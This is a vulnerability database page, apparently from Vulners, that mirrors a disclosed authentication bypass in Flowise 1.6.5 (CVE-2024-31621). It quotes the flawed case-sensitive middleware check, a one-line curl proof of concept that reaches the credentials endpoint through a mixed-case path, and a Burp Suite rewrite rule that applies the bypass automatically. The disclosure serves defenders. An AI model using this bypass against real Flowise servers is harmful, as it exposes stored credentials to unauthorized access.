Lucene search
K

Flowise 1.6.5 Authentication Bypass

🗓️ 19 Apr 2024 00:00:00Reported by Maerifat MajeedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 158 Views

Flowise 1.6.5 Authentication Bypass vulnerability with case sensitivity issue in endpoint URL

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Flowise 1.6.5 - Authentication Bypass Vulnerability
21 Apr 202400:00
zdt
Circl
CVE-2024-31621
2 May 202420:57
circl
CNNVD
Flowise 安全漏洞
21 Apr 202400:00
cnnvd
CVE
CVE-2024-31621
29 Apr 202400:00
cve
Cvelist
CVE-2024-31621
29 Apr 202400:00
cvelist
Exploit DB
Flowise 1.6.5 - Authentication Bypass
21 Apr 202400:00
exploitdb
Github Security Blog
Flowise vulnerable to code injection via api/v1
29 Apr 202418:30
github
Nuclei
Flowise 1.6.5 - Authentication Bypass
5 Jun 202603:02
nuclei
NVD
CVE-2024-31621
29 Apr 202417:15
nvd
OSV
GHSA-6WP6-22X5-RR3W Flowise vulnerable to code injection via api/v1
29 Apr 202418:30
osv
Rows per page
`# Exploit Title: Flowise 1.6.5 - Authentication Bypass  
# Date: 17-April-2024  
# Exploit Author: Maerifat Majeed  
# Vendor Homepage: https://flowiseai.com/  
# Software Link: https://github.com/FlowiseAI/Flowise/releases  
# Version: 1.6.5  
# Tested on: mac-os  
# CVE : CVE-2024-31621  
  
The flowise version <= 1.6.5 is vulnerable to authentication bypass  
vulnerability.  
The code snippet  
  
this.app.use((req, res, next) => {  
> if (req.url.includes('/api/v1/')) {  
> whitelistURLs.some((url) => req.url.includes(url)) ?  
> next() : basicAuthMiddleware(req, res, next)  
> } else next()  
> })  
  
  
puts authentication middleware for all the endpoints with path /api/v1  
except a few whitelisted endpoints. But the code does check for the case  
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the  
endpoints to uppercase like /API/V1 can bypass the authentication.  
  
*POC:*  
curl http://localhost:3000/Api/v1/credentials  
For seamless authentication bypass. Use burpsuite feature Match and replace  
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation